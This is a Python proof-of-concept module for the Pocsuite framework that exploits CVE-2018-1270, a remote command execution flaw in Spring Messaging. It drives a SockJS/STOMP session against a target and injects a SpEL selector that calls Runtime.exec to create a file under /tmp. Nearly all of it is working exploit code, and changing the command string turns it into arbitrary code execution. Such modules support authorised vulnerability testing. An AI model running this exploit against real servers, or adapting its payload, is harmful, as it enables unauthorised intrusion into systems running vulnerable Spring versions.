#!/usr/bin/python
# -*- coding: utf-8 -*-
from pocsuite.api.request import req #用法和 requests 完全相同
from pocsuite.api.poc import register
from pocsuite.api.poc import Output, POCBase
import random
import string
import time
import threading
import json

# logging.basicConfig(stream=sys.stdout, level=logging.INFO)

def random_str(length):
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))

class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super(SockJS,self).__init__(*args, **kwargs)
        self.base = '{}/{}/{}'.format(url,random.randint(0, 1000),random_str(8))
        self.daemon = True
        self.session = req.session()
        self.session.headers = {
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time() * 1000)
    def run(self):
        url = '{}/htmlfile?c=_jp.vulhub'.format(self.base)
        response = self.session.get(url, stream=True)
        for line in response.iter_lines():
            time.sleep(0.5)
    def send(self, command, headers, body=''):
        flag=False
        data = [command.upper(), '\n']
        data.append('\n'.join(['{}:{}'.format(k,v) for k, v in headers.items()]))
        data.append('\n\n')
        data.append(body)
        data.append('\x00')
        data = json.dumps([''.join(data)])
        response = self.session.post('{}/xhr_send?t={}'.format(self.base,self.t), data=data)
        if response.status_code != 204:
            # logging.info(f"send '{command}' data error.")
            pass
        else:
            flag=True
            # logging.info(f"send '{command}' data success.")
        return flag

    def __del__(self):
        self.session.close()

def poc_start(url):
    sockjs = SockJS(url)
    sockjs.start()
    time.sleep(1)

    flag1=sockjs.send('connect', {
        'accept-version': '1.1,1.0',
        'heart-beat': '10000,10000'
    })
    # 在tmp目录下创建success文件
    flag2=sockjs.send('subscribe', {
        'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')",
        'id': 'sub-0',
        'destination': '/topic/greetings'
    })

    data = json.dumps({'name': 'vulhub'})
    flag3=sockjs.send('send', {
        'content-length': len(data),
        'destination': '/app/hello'
    }, data)
    return [flag1,flag2,flag3]

def poc(url):
    if not url.startswith("http"):
        url = "http://" + url
    if "/" in url:
        url += '/gs-guide-websocket'
    try:
        response=poc_start(url)
    except Exception:
        response = ""
    return response


class TestPOC(POCBase):
    name = 'Spring Messaging_RCE_CVE-2018-1270'
    vulID = 'CVE-2018-1270'  #https://www.seebug.org/vuldb/ssvid-97214
    author = ['debug']
    vulType = 'RCE'
    version = '1.0'  # default version: 1.0
    references = ['https://www.anquanke.com/post/id/104926']
    desc = '''
		   spring messaging为spring框架提供消息支持，其上层协议是STOMP，底层通信基于SockJS，
           在spring messaging中，其允许客户端订阅消息，并使用selector过滤消息。
           selector用SpEL表达式编写，并使用`StandardEvaluationContext`解析，造成命令执行漏洞。
            参考链接：
            - https://pivotal.io/security/cve-2018-1270
            - https://xz.aliyun.com/t/2252
            - https://cert.360.cn/warning/detail?id=3efa573a1116c8e6eed3b47f78723f12
            - https://github.com/CaledoniaProject/CVE-2018-1270
		   '''
    vulDate = '2020-02-05'
    createDate = '2020-02-05'
    updateDate = '2020-02-05'
    appName = 'Spring Messaging'
    appVersion = '5.0 to 5.0.4,4.3 to 4.3.14'
    appPowerLink = ''
    samples = ['']

    def _attack(self):
        '''attack mode'''
        return self._verify()

    def _verify(self):
        '''verify mode'''
        result = {}
        response = poc(self.url)
        if response[0] == response[1] == response[2] == True:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url + 'Spring Messaging_RCE_CVE-2018-1270' + ' is exist!'
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output

register(TestPOC)